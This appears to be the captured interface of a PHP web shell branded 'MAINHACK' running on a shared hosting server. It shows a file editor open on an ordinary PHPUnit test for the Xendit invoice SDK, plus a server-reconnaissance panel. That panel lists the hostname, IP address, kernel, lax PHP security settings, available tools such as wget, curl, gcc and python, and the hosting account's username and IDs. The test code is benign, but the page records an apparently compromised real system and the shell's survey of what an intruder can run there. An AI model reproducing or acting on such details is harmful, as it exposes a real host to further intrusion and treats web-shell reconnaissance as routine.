[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: InvoiceAPITest.php
<?php require_once __DIR__ . '/../vendor/autoload.php'; use PHPUnit\Framework\TestCase; use Xendit\Configuration; use Xendit\XenditSdkException; final class InvoiceAPITest extends TestCase { private Xendit\Invoice\InvoiceApi $apiInstance; protected function setUp(): void { // Load environment variables $dotenv = Dotenv\Dotenv::createImmutable(__DIR__, '.env.test'); $dotenv->load(); $api_key = getenv('DEVELOPMENT_API_KEY'); Configuration::setXenditKey($api_key); // Initialize XenditClient $this->apiInstance = new Xendit\Invoice\InvoiceApi(); } public function testCreateInvoice(): void { $response = null; try { $payload = [ 'amount' => 10000, 'invoice_duration' => 172800, 'external_id' => getenv('BUSINESS_ID') . "_" .time(), 'description' => 'Test Invoice', 'currency' => 'IDR', 'reminder_time' => 1 ]; $response = $this->apiInstance->createInvoice($payload); print_r("createInvoice:" . $response . "\n"); $this->assertNotNull($response); $this->assertEquals('PENDING', $response->getStatus()); } catch (Exception $e){ echo 'Exception createInvoice: ', $e->getMessage(), PHP_EOL; if ($e instanceof XenditSdkException){ $ignoredErrorCodes = explode(',', $_ENV["IGNORED_ERRORCODE"]); if (!in_array($e->getErrorCode(), $ignoredErrorCodes)) { $this->fail('An unexpected exception occurred: ' . $e->getMessage()); } } else { $this->fail('An unexpected exception occurred: ' . $e->getMessage()); } } } public function testGetInvoiceById(): void { try { $invoice_id = "654a103b5e6dfa587b6025c3"; $response = $this->apiInstance->getInvoiceById($invoice_id); print_r("getInvoiceById:" . $response . "\n"); $this->assertNotNull($response); } catch (Exception $e){ echo 'Exception getInvoiceById: ', $e->getMessage(), PHP_EOL; if ($e instanceof XenditSdkException){ $ignoredErrorCodes = explode(',', $_ENV["IGNORED_ERRORCODE"]); if (!in_array($e->getErrorCode(), $ignoredErrorCodes)) { $this->fail('An unexpected exception occurred: ' . $e->getMessage()); } } else { $this->fail('An unexpected exception occurred: ' . $e->getMessage()); } } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285